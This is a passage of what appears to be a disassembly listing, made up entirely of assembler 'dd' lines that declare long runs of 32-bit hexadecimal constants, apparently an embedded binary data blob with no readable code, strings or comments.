		dd 63F4FBDDh, 989B40h, 75604E38h, 27AF4641h, 0D8808609h
		dd 0B2CC809Ch, 578A033h, 0EF222921h, 0F9FDC0F3h, 78B172E0h
		dd 4F327783h, 6C2A8164h, 0C517FC40h, 7681F656h,	240A0033h
		dd 0E1C051AAh, 0DCA31286h, 98A478E8h, 25E6FB01h, 34BA5E1Ch
		dd 6FD95C40h, 0BCC8018Ch, 0B3EC4F7Ah, 2DBC50DBh, 16002E50h
		dd 8159BA78h, 18DB477h,	0B3D5AC94h, 62AD9DAEh, 28FA808Ch
		dd 7C0975h, 379C7E33h, 0D1532FBAh, 170BDA05h, 0D892521Bh
		dd 573CC0FFh, 0CAF03A3Ch, 0F48025B8h, 26E7BE33h, 0E500F7F5h
		dd 6B3E786Ch, 2A08A47h,	91AF1413h, 60A1B9F2h, 622F97F1h
		dd 0ED610F78h, 0AC5860B2h, 92624A0h, 4276A925h,	803438A3h
		dd 1D98C800h, 999FF1A4h, 31290514h, 7286BDF0h, 42C0E88Ch
		dd 2E009B50h, 661D26B5h, 158FF828h, 94493B1Bh, 0AB74A800h
		dd 0A3EE682Fh, 0BC029579h, 0E2B453B9h, 4478CCC8h, 0C9A4477h
		dd 26D20803h, 2180771h,	128CB798h, 204AE010h, 0A9D10480h
		dd 0AC001519h, 318CBE07h, 0E2F1B5E9h, 57AE00BFh, 47450874h
		dd 0E3006BE6h, 0E4D99CF6h, 2EB422E8h, 3FC80D3h,	6B648E87h
		dd 0E6C9EEDh, 20619E25h, 2B1135C2h, 4E70A5h, 9FCCB8A4h
		dd 97B23629h, 50EF84FAh, 864CF2B8h, 6A2E9890h, 329D58D2h
		dd 639F03C0h, 28C486Bh,	661CD12Ch, 98A9B2ADh, 39A2C007h
		dd 42520903h, 1DE5D8D8h, 2504847Ch, 0F78D9216h,	180FCA0h
		dd 7486DCA7h, 57DBB446h, 9EA6928Ch, 435ED4A0h, 0EA02169Bh
		dd 7F60F98h, 0B68240D4h, 1B4D07C4h, 0B0BFE8DEh,	5F351669h
		dd 2DD07500h, 53DBFFCBh, 0C6012C1Fh, 0EAE60060h, 0C1BFA30Eh
		dd 7C0CA4B2h, 11E2F8BAh, 0FF4B0053h, 0EC0BE74Ah, 0E500CE59h
		dd 9EE27DFEh, 762969Ah,	0C87F2B18h, 0CF5BD06Eh,	450C101h
		dd 9E0032B8h, 0B52F8403h, 0E0C4FBh, 0FDF19498h,	0F4361307h
		dd 1F8A7F15h, 207501C4h, 0ED6992A2h, 12AACE0h, 35BF97ECh
		dd 2478E54Dh, 0DB0061A0h, 748B777Bh, 96B3A3Bh, 462CF045h
		dd 0BBE28C80h, 0DD00374Fh, 916DE653h, 0B04DA342h, 30D3B0B0h
		dd 9458D0B5h, 0AE0020B4h, 0C0F1E2CAh, 45832h, 0C88BA319h
		dd 0F01AD1C4h, 0E3532602h, 80F1DA41h, 0B9AACE99h, 381C043Fh
		dd 8082DBB8h, 71F0A5A3h, 1B8844Dh, 4C4F1B1Eh, 20D6A2h
		dd 402C001Fh, 24E20705h, 0AA1446B0h, 0E9F8ECh, 0D3E3A330h
		dd 0AE64B6h, 0D52A5F02h, 7B35F725h, 0A804550Ch,	12BBF814h
		dd 802E70ACh, 0F38840A4h, 0F7684900h, 5CFC076Eh, 1FF200DCh
		dd 702E469Fh, 0FA0396B7h, 400F1599h, 0CCD3B887h, 0CBDE01E8h
		dd 0BBAF3E98h, 75F04089h, 8000F9FAh, 0B65B5CC4h, 4C7BC1C8h
		dd 0E073FF15h, 0CD9E1230h, 1840006Ah, 0CB227705h, 0F62AE800h
		dd 0D10D1E83h, 17FA44h,	260F43B3h, 8C057072h, 0DB2DEE07h
		dd 0C0E073CAh, 3C41CF82h, 9B802BE1h, 1896296Ch,	611374EAh
		dd 544966D3h, 0A04598h,	0D7ECC9D1h, 57001C3Ah, 0CCD06F6Bh
		dd 70293Dh, 7C2EB99Dh, 887DFFB5h, 2095D0Fh, 0DAC7FC8Ch
		dd 5B37B0Ah, 309641h, 0D73FF0E0h, 5DFEED04h, 0D00BEE2Ch
		dd 0C831F597h, 0D900F319h, 70006845h, 30488D9Bh, 0EE3955h
		dd 4DFEF480h, 2859D95Bh, 0B94E7000h, 0D464E3B2h, 35BE030Bh
		dd 0DDF938ADh, 35640C0h, 29AB2100h, 0CFB63C6Eh,	0C6A612D5h
		dd 2658001Dh, 96719A3Fh, 911CA0C0h, 5CEE6663h, 0A4307011h
		dd 3918C519h, 1143AC33h, 86D93E66h, 361B5000h, 0BD2C3CDh
		dd 0E8008EF4h, 74973E85h, 242CAC22h, 1FD5C7A3h,	44EA80C3h
		dd 15ECBF7Dh, 6100DDF2h, 5BFF0E50h, 0A5DC82Ah, 3EDE2656h
		dd 53C90280h, 2A403B64h, 29003CC6h, 0C77E7A67h,	317489h
		dd 3492E3CFh, 24AA1C08h, 0AEF34700h, 0EE879384h, 1F200052h
		dd 7EE2DA63h, 0EAA075ACh, 745079EFh, 0D2009BA1h, 6E3B8A6Ah
		dd 9EC3ECh, 77D0D487h, 11C4F6CDh, 6053D100h, 20B9B791h
		dd 317F87Ah, 0D8F5E467h, 2A88C7ACh, 0CE79285Ah,	0DB8ED403h
		dd 0ABEA67A2h, 0AD49A144h, 5736D8h, 9396B2BBh, 0D45982EFh
		dd 7708E400h, 0EB9102B6h, 0D9F10392h, 6BAD306Ah, 8401582h
		dd 990F5473h, 6058DE45h, 0F1BB6098h, 16AF00A0h,	8714D46Fh
		dd 5700E83Bh, 6848568Eh, 0D2025Eh, 0FEABB4CDh, 21751A2Eh
		dd 0C173B601h, 8C636716h, 4D42B821h, 4B07832h, 27D68487h
		dd 0EEF0D0ACh, 8B183623h, 0B10CECAh, 1E7A01A6h,	97A7BA6Fh
		dd 34346167h, 22F29200h, 18A67B02h, 786B1F4Fh, 0E154A048h
		dd 593C00BFh, 5EBEBC2Ah
		dd 1D583E74h, 0B47E242Ah, 0EE2DBD00h, 0C125D8h,	8EC7AB40h
		dd 0F70131A2h, 33AF1500h, 0E97B715Dh, 4C1C795Fh, 0E7000A4Bh
		dd 41DE8F60h, 3500E880h, 9170B7B0h, 3AA2EEh, 0FA24C75Bh
		dd 0C1E68778h, 422C4EE0h, 0B78B4C57h, 0FCD680C6h, 234C430h
		dd 1870820h, 2640DA1Eh,	3E4CB1E1h, 0CFC600F0h, 203FE281h
		dd 915412B4h, 7978C099h, 64001950h, 0AA0443DCh,	9EF759h
		dd 207B23CCh, 639086ADh, 0B0738903h, 0E8CAE035h, 134B4DBh
		dd 14E4B6E1h, 2221C07Bh, 2B27F4h, 0C3158B30h, 0DF400067h
		dd 8070492Ch, 290022B1h, 46DECEC2h, 1CDC6095h, 3FEC65E8h
		dd 0B51F2883h, 0D5F8FB79h, 30B8333Eh, 164AEE00h, 58A64D53h
		dd 621F1D45h, 94E58047h, 1B43182Ch, 2758807h, 2AA027B5h
		dd 0BF7834Dh, 6C816AB3h, 0F5265440h, 0D4AEA903h, 0BD59CDh
		dd 1783C488h, 9FFD87B4h, 6C650F2Eh, 9B1FFC00h, 1F3279Dh
		dd 0A11568EBh, 60B4E8ECh, 9F00DC52h, 6358FD9h, 0F75AB04h
		dd 0CC77A666h, 27505820h, 0AA487A9Bh, 96077134h, 0BE2DD76Ah
		dd 3D8508Ch, 607A9EC5h,	29BEA684h, 0F69DB700h, 0A2F18015h
		dd 0C0C75C02h, 0FCEF6201h, 3078F55Ah, 0A00E742h, 3304B801h
		dd 5C9B2C6h, 9434DEE5h,	0E3C2C0C2h, 72005716h, 96EBC375h
		dd 0F4488E24h, 0E2A3E8BBh, 9010C00Dh, 41CD4D6Ch, 2CCF5D00h
		dd 0C9EA04F5h, 9FAF023Fh, 0D291393Ah, 2DB7ECE9h, 422E09A0h
		dd 0C3D880F0h, 305223F1h, 5D10B046h, 400F9AFh, 2CC203F2h
		dd 0C7D7CA6h, 0FE0996A2h, 0F7243F49h, 0C81866C7h, 0FA36FBF0h
		dd 536B0E4Eh, 64A7BF95h, 692640A8h, 0C93F6CA3h,	76230C79h
		dd 136730C3h, 0EA71852h, 52655Bh, 7DEC50D4h, 7C008107h
		dd 0E4375DFFh, 6441C31h, 61D02DA6h, 0B100A0EDh,	36A556D7h
		dd 8E3309h, 12F6BECEh, 46709EE8h, 9676881Ch, 0C00100ECh
		dd 0B53CE9CCh, 28F51180h, 71CD5B2Fh, 0A65D8F00h, 0B7C240DFh
		dd 5A41008Eh, 0A4214AFBh, 970F4733h, 0A009EB6Bh, 0DA862B17h
		dd 278F03F9h, 83B44A01h, 0F58A74E0h, 0B593D905h, 98A08558h
		dd 3E10049Ah, 9067F3D6h, 778DDC4h, 88BDC600h, 0A02039ECh
		dd 3A7E0248h, 648062E3h, 0C5E6E960h, 5C36CC00h,	0B5F9EC57h
		dd 0AF0F04CEh, 80EF1988h, 0F48758CCh, 0DAE58C00h, 0C2D4E8B1h
		dd 7EF00428h, 0D03C1949h, 17E5E778h, 0D3747D07h, 190C1E54h
		dd 0BF916EBh, 0C1E020D7h, 4001DD36h, 0ADEC1C7Dh, 81303050h
		dd 68E300F5h, 24C3C1A7h, 6600594Fh, 266B6105h, 1403B93Ch
		dd 0A87FAF2Bh, 99175601h, 70DAE2DDh, 86794C14h,	3FBAEF80h
		dd 3D0737A1h, 0DF4244B1h, 1002A329h, 448F0BDh, 8200DC99h
		dd 0F5C4A116h, 542EE56h, 6EDA5B3Ch, 0BEFC8139h,	7653D4CAh
		dd 72553Dh, 0EB5D604Eh,	0A07A9FF3h, 0F4B55FD8h,	0F453EA76h
		dd 3AE9600Ch, 0BECC29E6h, 0CA00EEE4h, 87ADF917h, 0EBDF68Ch
		dd 52ED7C1Dh, 21A0E26Fh, 685FACCFh, 3FB83C00h, 0F04E26D5h
		dd 0E3C8C711h, 909637C4h, 0D0B7FAC8h, 31462B00h, 0A43F811Fh
		dd 8AF41C04h, 21FE4047h, 0ADCEDFD8h, 273DE100h,	8B9E0F78h
		dd 26B000C5h, 0D7E750E2h, 70B0E3B3h, 11922D2Ch,	8C17833Dh
		dd 0F38F204Ch, 0DF09B0EFh, 728700EAh, 7560AA3Fh, 0D01E392Ah
		dd 9FCFFD1Fh, 285F603Bh, 96572158h, 0E7D30158h,	405253DAh
		dd 173BC4CCh, 5069952Eh, 408F400h, 409E75C8h, 4100E3C7h
		dd 7889C952h, 389488ACh, 463D0B10h, 6ADECF89h, 0F055F420h
		dd 911FA7B2h, 817BB037h, 0DD50923Bh, 0D0403897h, 18CC6167h
		dd 1098109Ch, 420F4DCFh, 0C140F158h, 0D68B2653h, 0F6C170h
		dd 6D616998h, 107E44F0h, 901C1303h, 562CD9h, 1A753096h
		dd 6D7012EDh, 3A8FB49h,	4AB2FE15h, 2A600109h, 0EEECB331h
		dd 2838FBh, 39EA2676h, 142281Fh, 0CBFC0107h, 30F6C7B1h
		dd 3A4C9718h, 885C5C6Ah, 2800BAB9h, 0D49583CCh,	0D200B4B8h
		dd 98DCACA3h, 37702A4h,	51996330h, 9A1AE00Ah, 833824AFh
		dd 0A8DA647Fh, 405C30h,	35D1B150h, 8D2CCEEAh, 17B885EBh
		dd 70B48371h, 0E50206E7h, 99AE7B72h, 0F0138E08h, 0C2370193h
		dd 808A2C88h, 33EC019Ch, 0F5CC02h, 0E80DF0A8h, 68EFFF6Dh
		dd 5C8E7500h, 1B50C794h, 0C5CB02D6h, 3F4518D3h,	83A120E0h
		dd 6F2058h, 22F217EDh, 749D501h, 6B8E7C99h, 0F17620D9h
		dd 0E600AAF4h, 262F85Ch, 1F1CC8D1h, 40695D31h, 567D57E0h
		dd 3CFA3765h, 0FD396D00h, 4AEA73A1h, 1E7E8Bh, 3DFAF51Ah
		dd 0B6DB5286h, 580088E6h, 0D07C053Eh, 9EDA5h, 604CC5C2h
		dd 0E88DDD73h, 3C61E51Dh, 1AC1740h, 0B87B265Bh,	9E2A00B1h
		dd 0B5EBF26Bh, 3100AB8Fh, 1DF950AEh, 7F4CA7h, 6BA0C155h
		dd 8DF32548h, 0B8930700h, 53B924BCh, 0EA2A0166h, 4038EF35h
		dd 474034B4h, 225CA81Ch, 80EEAF49h, 0DCBA0F3Bh,	0BC6A50F3h
		dd 0FED80058h, 1A4A9B63h, 1200B344h, 0B318DE6h,	172AB6Ch
		dd 0DB5D396Fh, 0E40284C7h, 0DC90E0B7h, 0EDE67100h, 45FB87F7h
		dd 4A980050h, 8CB71095h, 5B0004B6h, 0E4905ECCh,	0E11389h
		dd 0ADCB467Dh, 8224C6DBh, 581B9E00h, 0D122D81Eh, 9BFF007Bh
		dd 599AD66Dh, 9600CA5Dh, 0FE12D957h, 0A2A466h, 235E92C6h
		dd 50F89A61h, 68F67400h, 51177239h, 0A89709C3h,	7100B0BDh
		dd 29A1EE12h, 5C324000h, 0B91BD768h, 0FEF20Ah, 7DAE39D0h
		dd 25F857D8h, 951DED90h, 0E98B54E4h, 7BC801Ch, 5114A7h
		dd 0B4A3DA3Dh, 0C8BFC034h, 95237C1Ch, 0B83B1180h, 0E51DBD9h
		dd 13D0A15Dh, 9C7157C0h, 0C600DD80h, 502A46CDh,	7E9DDEE8h
		dd 2D991347h, 0DB284420h, 0AEE742F7h, 0B05010h,	0F938ACB5h
		dd 0CE4B7AAh, 0ED666901h, 0EA0B4005h, 1D0A6E20h, 404217FBh
		dd 6F0C2003h, 10073413h, 1B4924DBh, 41D21DB1h, 3C9EBC20h
		dd 0EF0AD416h, 8C0834BFh, 36217409h, 230484F0h,	0FB49AF3Eh
		dd 941E36C1h, 3AFA7EE0h, 0C2301655h, 80B8F590h,	0F2C5C100h
		dd 0FC447024h, 0B71909F3h, 0B4E31BB9h, 0F27208F8h, 672BC05Ch
		dd 30817921h, 48D6E8ABh, 9450FA48h, 0B9013CDCh,	4CB3593Bh
		dd 0B2C7D0DBh, 287E9728h, 33EA900Fh, 7C1E00F8h,	3EB592h
		dd 8C69A09Bh, 7BA84C95h, 0A400B1EEh, 92AE1165h,	0BC2E2h
		dd 0BE293BFFh, 0E3DACA2Ch, 0D5414200h, 80643F88h, 6C9C01DBh
		dd 0A34E1CB2h, 0F7F03A1Dh, 694C000Bh, 0BC1A3757h, 7A03BB25h
		dd 0DE42CE1Bh, 7B3ED8AFh, 0A5D1F55h, 520640CAh,	0C47538DFh
		dd 2DA89400h, 0BE174D6h, 845C01E8h, 0D9EC8A26h,	0B6E0EA39h
		dd 0A9000E08h, 0AF3F14D4h, 0F7548Bh, 6117C95Eh,	8F1E70E8h
		dd 0BC43845Bh, 0A84677C1h, 0D4769Bh, 0D0AAB501h, 0B320C956h
		dd 40001D4Fh, 0DC656490h, 584F0004h, 7EC74CB7h,	0C459FE2Dh
		dd 5D980218h, 0E9B30410h, 29D0A08Ah, 31FA1E09h,	5A80246h
		dd 0E98114A1h, 0D1F7591Ch, 0D1089F64h, 6B2CB281h, 30BAC1A1h
		dd 0E106800h, 0F99065D4h, 11FF3302h, 8709F7BEh,	3EE729CFh
		dd 219C6AE1h, 71361180h, 0A91C9AC7h, 98903309h,	0DB0C863Eh
		dd 0CCC00090h, 502C7F5Fh, 54072832h, 0A0E6D357h, 0BF31D197h
		dd 1424263Fh, 0AE880125h, 1AC57A8Bh, 3CAD892h, 0D8FC1400h
		dd 70383206h, 0E1960034h, 0EA912F7Eh, 94A1273Ch, 0ACA0DE80h
		dd 0BDC55215h, 9B31CB00h, 0A14641B7h, 19224D3h,	45E58038h
		dd 0EDA7F41Dh, 270D6A00h, 9BD04987h, 35D500DEh,	5C71AFF9h
		dd 3949D35Eh, 981226E4h
		dd 1BFF003Ah, 77D9EEC8h, 729B00DAh, 5D4B8F97h, 16079845h
		dd 7C3CFA20h, 0E6B20EDBh, 997EB7h, 84C0911Bh, 0DE996F7h
		dd 9EAB201h, 27358579h,	24C420h, 0FDC5BF5Ch, 399E3193h
		dd 61AF5E0Bh, 0E5005D1Fh, 9DC03E47h, 57C91560h,	5F8F49h
		dd 92B76859h, 430E6D66h, 30C09603h, 0E156DB50h,	19BB62BAh
		dd 7F8F740Dh, 445DEC91h, 3E3D2200h, 8334656Fh, 1B080070h
		dd 97A0F59Bh, 0B7074AB6h, 9CB06B82h, 0A1BF1C91h, 2F44DC50h
		dd 3ECBE609h, 72C876FBh, 446DC01h, 0E847780Fh, 10C4DDDAh
		dd 0B606321h, 25221D67h, 78120CF4h, 1641CA03h, 66BDBA15h
		dd 0B6AB8304h, 2C1003A2h, 47AAD0BCh, 7FDA2100h,	894DD7BAh
		dd 0C50A195Bh, 87CB0878h, 0BA778421h, 500F8230h, 0E53A1D36h
		dd 14007BD6h, 9C25370Eh, 17181629h, 46717B04h, 7E07003Dh
		dd 0B9DE3188h, 0D974C9E3h, 35210D61h, 0BC200705h, 70C5026Eh
		dd 9DA3B1A5h, 4043C6E1h, 0A7C1AA5Ch, 329F60C7h,	0D5F4FD40h
		dd 74C5283Dh, 1838746Ch, 1114AF73h, 0E1003076h,	0D82E8B21h
		dd 74FE937Ah, 214760D9h, 0BEE108D4h, 0ABADFF18h, 0FC0569h
		dd 3B7E71B8h, 2692DFCBh, 0D1B65100h, 0AA788D10h, 410D67F1h
		dd 39A72601h, 6BF09D70h, 8076F50Ch, 1AB9BBh, 21C3F05Ah
		dd 51E03A5h, 54A510E2h,	0F1607EC4h, 0FF064D58h,	0AF600173h
		dd 75042A79h, 58490480h, 90D79E72h, 4D1B0BCCh, 9B3B3807h
		dd 16B2A386h, 3ECCB00Ah, 88750807h, 6764D9C9h, 7062640h
		dd 84B04B53h, 0B80BEE32h, 0E1313088h, 0C68ACC10h, 0E109D7E0h
		dd 0C8AB8300h, 0C71E042Dh, 1200C19h, 8F698739h,	0A23007E8h
		dd 0CFDDD1A6h, 27320154h, 3CBE6A63h, 0C808983Bh, 9247821h
		dd 0DC857355h, 56942A80h, 2332C314h, 8706B90Eh,	1AA01EC4h
		dd 61B40725h, 93711812h, 0F2CC49E0h, 0AA7A1880h, 0D40FA358h
		dd 0A09CA915h, 76E34F34h, 0ADC94481h, 2081CD60h, 6C4C50h
		dd 4DB5AE2Ah, 3C714AC2h, 94972400h, 1CFA9C62h, 0F7AA12E1h
		dd 0D5B82360h, 3514900h, 0C60A3B64h, 54F000F7h,	0C48AA49Ah
		dd 0AC049EB5h, 75EC231Dh, 0AD1B6C90h, 30604998h, 7931503h
		dd 7AA065E9h, 0EFB82741h, 45709F64h, 84193509h,	4131872h
		dd 568B26E1h, 207232D9h, 1EE10AC9h, 216BA600h, 0BF346F18h
		dd 0AD12244Ah, 25554034h, 0C93B86A3h, 4DDA00A1h, 0C5918F15h
		dd 0B861061Bh, 510EA89Dh, 62966500h, 294C6374h,	56E300D9h
		dd 0C516B1C4h, 5D1C53FAh, 0AB0A12A0h, 0C38D8CA8h, 87E0E938h
		dd 0CFBF0294h, 0BC1B9771h, 41A5C0A4h, 6144451Dh, 7DFCFBF5h
		dd 25EC2A20h, 73360798h, 91CC23BEh, 4842DFA5h, 0E588E6C0h
		dd 0F5A1008Eh, 0E4C0F074h, 9424A860h, 0A03C14F1h, 4494A715h
		dd 84136172h, 2478FC8h,	83202C9Ch, 5D200DA8h, 3D5301C4h
		dd 0CDA02D4h, 1EE0C272h, 88C4A14Ch, 0BA75C0D6h,	79434D3Dh
		dd 0BA8DFA80h, 41206C4h, 6C20ABD0h, 0A8257Dh, 4F637F29h
		dd 0EBC41888h, 0CDF6F402h, 4AF35EDFh, 6A808498h, 0EC9A0A40h
		dd 1BEE03DAh, 0FBFAAEECh, 0E0A14500h, 0F6B19D57h, 804301Ah
		dd 8D760331h, 68907A02h, 0C126ADA6h, 0A0C29F3Ch, 0D0C60B44h
		dd 0C34A1F5Fh, 2E00FCA9h, 2B490719h, 3205E88h, 442AFE97h
		dd 1212060Fh, 0DB098D7Dh, 0ABC40351h, 405100C2h, 2B34B902h
		dd 0EC14739Fh, 87D022C3h, 0C0EC5E14h, 0E5661434h, 78BCE07Dh
		dd 409F1C8Ch, 274BC7F6h, 75D9B24Eh, 188CA441h, 10E17B1Dh
		dd 0C8D8268Bh, 15D3827Bh, 0E05D1CE1h, 26AAB667h, 405CA2ADh
		dd 0D3D6FD75h, 403FA626h, 86C50DC0h, 5E48073Bh,	1A6AE26h
		dd 32603639h, 1052390h,	271854CDh, 8BB41833h, 0D3552A98h
		dd 0F1035FFEh, 5E03F4E3h, 0C90CC0DEh, 513F001Bh, 0DC9C04D2h
		dd 3D50DDA6h, 2E09BDC4h, 93A20F4h, 11F41DA4h, 8DCF8079h
		dd 649EB914h, 405CE0FFh, 25659D96h, 0A473845h, 0BF56CE81h
		dd 0E004D005h, 231C7677h, 607741Ch, 82869C1Ah, 18160459h
		dd 81C39359h, 130F88E8h, 919FC136h, 0C0AA3AC0h,	82E09DF9h
		dd 0EE00B5E3h, 0FF1DC528h, 0B0632447h, 61450BCCh, 789D1C5Bh
		dd 839FDC11h, 1F4B19B3h, 8C71C898h, 141A20A0h, 58C4017Ah
		dd 7030AE27h, 4D233EBAh, 0CE1181h, 0AEBA88F9h, 4C57E6C7h
		dd 3CC07036h, 409CCAD4h, 83C67B01h, 0D6329D2Eh,	779F88D4h
		dd 73C0E7D1h, 2653E0F5h, 1158CDA1h, 731800Bh, 8C91887Ah
		dd 38DC0D45h, 2EF40707h, 20C3D4EFh, 8BAA68F5h, 0C4011784h
		dd 346C30A6h, 6148974Dh, 8C79E888h, 8A28BD98h, 0BB45EC9Eh
		dd 0F8238961h, 9DBE4E00h, 0B7512ED2h, 1A337200h, 7782D9A5h
		dd 0AB0316B2h, 18045838h, 18004CC1h, 0A201493Fh, 0B8C9F9Ch
		dd 60E78539h, 400A4424h, 5A069A93h, 3DE3CF4h, 0FEC5AB80h
		dd 0E98158D7h, 69188FF2h, 2838E6B4h, 489676DCh,	0E840886Bh
		dd 6AB08C25h, 714D3C15h, 80C988E8h, 77BA7687h, 0F16AAA01h
		dd 4F0554D9h, 0E01F9817h, 1912F40Ch, 0DB3091Eh,	34108B77h
		dd 6B672FC3h, 290CAB39h, 802900A9h, 0A94DC67h, 3C3E2B18h
		dd 0A4AE0156h, 0FA968BC6h, 245884F6h, 3B4A8064h, 5A54A94Dh
		dd 0F888F658h, 92BA0173h, 56313772h, 0DD8FD011h, 0AD001A76h
		dd 10571804h, 589F1D0Ah, 8687A4A8h, 6C54A030h, 0AE004B3Eh
		dd 0BB1E2053h, 26D42E4h, 8E24C048h, 586C3967h, 1C552104h
		dd 62381327h, 0EC553E1Dh, 0FB520D00h, 62957673h, 2ED6A945h
		dd 4028F451h, 12048D46h, 848B3BE1h, 2EC88B3Ch, 3A1E6CD6h
		dd 4C2C2600h, 8D1A28h, 101D3C25h, 296B3601h, 925C150Eh
		dd 2D550521h, 0D223FC2Fh, 6C313F00h, 60ADE84Ch,	0B9C5D9A4h
		dd 6D008B6Ah, 0D2C89FD4h, 88E69571h, 0DC943CC3h, 4C963ABEh
		dd 5EFBC228h, 0E8F58D2Ch, 88D0EC60h, 29C0CFABh,	2FFCA813h
		dd 29C701ACh, 91279C22h, 0B842348h, 1D1363DAh, 80B39120h
		dd 15D2B8Ah, 19BF62C5h,	6044A915h, 0DD6FA1E8h, 565D0019h
		dd 2DC6D2Fh, 0EC2EE1E5h, 0D8833CCDh, 0B101C35Bh, 0CB40A858h
		dd 0CDE81E28h, 8C2E18F5h, 12DD29C9h, 4701E800h,	0B062F64Fh
		dd 48A604BEh, 8C24458Ch, 7AF9AD00h, 9C797080h, 998091C2h
		dd 1830E883h, 1D550838h, 0B1C42B27h, 55D16740h,	2D39901Fh
		dd 0A4E2826Ch, 0E404B6B2h, 0FC4E4D8Ch, 9F0C64C0h, 76055961h
		dd 0A6995862h, 20757482h, 90F12581h, 0C533FC02h, 42CFA402h
		dd 91C01788h, 437180B2h, 4EC3DCEFh, 670413Dh, 0C0E24C1Bh
		dd 0FD154F1Eh, 0C867ABh, 3ED11648h, 0EC1AF3h, 8398E2CAh
		dd 3F1F40C2h, 23C38100h, 793337Fh, 503260B8h, 9F2E72EDh
		dd 0BC63FCAAh, 0CC6133F2h, 36031167h, 9D7C2Ch, 4AB0927Fh
		dd 5173EE6Fh, 0E8F152ECh, 0FE00ABEDh, 25333876h, 7109875h
		dd 0E8157BF7h, 0ABE05042h, 830006A5h, 0FD3CA916h, 7C60B0AFh
		dd 10D4496Dh, 1B287603h, 78C82F49h, 5A0008E6h, 0ED85204Fh
		dd 60AFF613h, 0D064485Ch, 0C3054450h, 0F78AAA5Ah, 0AF949080h
		dd 45B090A6h, 0D81031B9h, 69091AA2h, 6445A0E0h,	113C1F34h
		dd 0DEF040B3h, 0D7B6BF20h, 0E2BC1919h, 4BE4D108h, 1D877239h
		dd 80978C41h, 0D3DD9652h, 983E8285h, 8AA01F33h,	86899D03h
		dd 0E38B9336h, 7C4CC1D7h, 0F09451D0h, 1F53EE26h, 8572DDh
		dd 34376495h, 56003F8Ch, 89D09679h, 7328139h, 369C9D4Bh
		dd 6B8B8B41h, 0CD8A4700h, 8C55940h, 0B2877955h,	0CB8227h
		dd 2B8839B8h, 8E900E52h
		dd 0A862BA43h, 64883D5Fh, 86DFF504h, 10225007h,	7F3D2406h
		dd 219705h, 7AE35B42h, 0B94D4104h, 8CBF1FCh, 70B8200Eh
		dd 0F7E2A3h, 2C1B2AC2h,	0AF0C9326h, 99530200h, 0AA30F405h
		dd 0E3A03050h, 0ACB41F2Ch, 939E7C01h, 2907A52Fh, 0A22A8986h
		dd 0C70091A3h, 0C033ED8Bh, 0C02FD4B0h, 746568A9h, 0F0309834h
		dd 0B0AD8954h, 20BD67A5h, 0D5234183h, 39318022h, 415DD673h
		dd 31170C81h, 33087998h, 886C21C1h, 0CBF0B6D6h,	23B501DDh
		dd 147E162Fh, 1933CCBFh, 0EE36A518h, 30AC94A1h,	23B899C4h
		dd 530F2930h, 0FC3CB0C1h, 8089650Fh, 1A569C15h,	3BAB3072h
		dd 0E6073739h, 9DAA1D07h, 6DA6B6D9h, 249F3008h,	0E67FF520h
		dd 93743D00h, 40385141h, 0A184ABA5h, 49823F30h,	8A0478F7h
		dd 0FD0CCA0h, 82009172h, 0C438AA84h, 70A35595h,	0B15C31FFh
		dd 0D72A2EC0h, 66073106h, 5418C064h, 142E8470h,	0FC3D713Bh
		dd 84CC6988h, 0F1042B74h, 911FCh, 0B7E2EDA2h, 0E0818679h
		dd 0EB1414DBh, 3207380Fh, 0A012F4B8h, 30F7AC6Fh, 0BF2F9818h
		dd 0C09E07D9h, 6BE15A29h, 0CC00316Ah, 647EDACAh, 0C0600479h
		dd 0AFE79069h, 267F7CF6h, 99419700h, 66B2B69Fh,	191C0136h
		dd 0A507890Eh, 34A850E6h, 4651DFE4h, 809FF1C8h,	4315FA69h
		dd 3805978h, 19BE142h, 9111BDA8h, 500FC54h, 72226BB6h
		dd 0C0F72A33h, 0D2121E03h, 600191FBh, 23E3B62Dh, 0DD832080h
		dd 321EC824h, 0C03D6428h, 907E1108h, 0A81903A0h, 15A0498Ah
		dd 4F4801E1h, 0E4BE0418h, 2480ADE7h, 192E06BFh,	80E33DA1h
		dd 0BC908E8Eh, 0C7209BC4h, 0B821ECC1h, 37DCA980h, 5F24907Ch
		dd 86AC914Bh, 21B70866h, 7C6C7F00h, 3AD2515Ah, 926F1294h
		dd 40A020BBh, 0C9D07438h, 16823F8h, 47FE35Ah, 886318E9h
		dd 0E23DEEBFh, 0DC318A71h, 2F02BBB3h, 46CA22C9h, 0F7D300B8h
		dd 57A1EB9Ch, 100DF6Ah,	0C54DE11Fh, 51087E0Fh, 888A8CAAh
		dd 1C98299Ch, 0C5068ADh, 34B43060h, 0F820E818h,	20189019h
		dd 0A1039868h, 4489106h, 67B90086h, 43FEBF2Eh, 0AF1DB01Ch
		dd 0D1001DEBh, 3DEC3C34h, 8FD80EF9h, 72CA2540h,	0D0A44678h
		dd 4E590415h, 26772278h, 4AEC51h, 3B3A6C63h, 441831E9h
		dd 0A1F8664Bh, 8F88C276h, 0D0B0EEE3h, 7A087BC9h, 6490CF24h
		dd 466140B2h, 647597Ch,	0F3DC2A17h, 4C015042h, 7769EF53h
		dd 0B1E35203h, 0D032B5ADh, 92757300h, 1EAA798Ch, 9D3BA1DFh
		dd 599F3876h, 0ED3B7F06h, 0B5921B40h, 9CE2391Bh, 0A02003h
		dd 0BA10C581h, 0C0654DF6h, 980D3F0Ch, 131360EAh, 608B1A57h
		dd 0C8E6045Ch, 0C095A921h, 2EE67CF0h, 547D6601h, 0A39807E8h
		dd 61C02710h, 5785148h,	259559B6h, 46802C9Bh, 0A1F3A03Fh
		dd 0C06ECA00h, 0F07E050Dh, 62490B8h, 0B5ED50A2h, 2A122C4Eh
		dd 0A44E59ACh, 0C0DD85BFh, 20C72081h, 0BC00F422h, 822852CBh
		dd 2D0EA9D4h, 25B402D8h, 0C40177C8h, 426633A7h,	0AB5CB889h
		dd 3A96948Fh, 3F232Ch, 509FB84h, 89AC8AEh, 0AD046918h
		dd 3D77E789h, 7804B2Eh,	29C049EBh, 41031769h, 3D048E1Dh
		dd 0A7A039AAh, 0A2C8D4h, 0C699A1DAh, 918F6497h,	0C7434E00h
		dd 2C38B4F7h, 0A784A0E1h, 5531C020h, 0C5E3C6DAh, 7B2E003h
		dd 80FDAEEEh, 0CF9A68h,	12ED9449h, 0D7E93AACh, 2C8D8B14h
		dd 44507C98h, 749193A8h, 39D4C00h, 5080B4AAh, 9F9443h
		dd 17E1747Ch, 2E78FD99h, 1CE5A30Ah, 9611F47Fh, 9DE2E880h
		dd 448CB904h, 5000450Bh, 0DF4714E3h, 2E13615h, 543E015Fh
		dd 0A8AF2BCAh, 92FFE080h, 0E0E19A1Ch, 977BC21Ah, 1E958800h
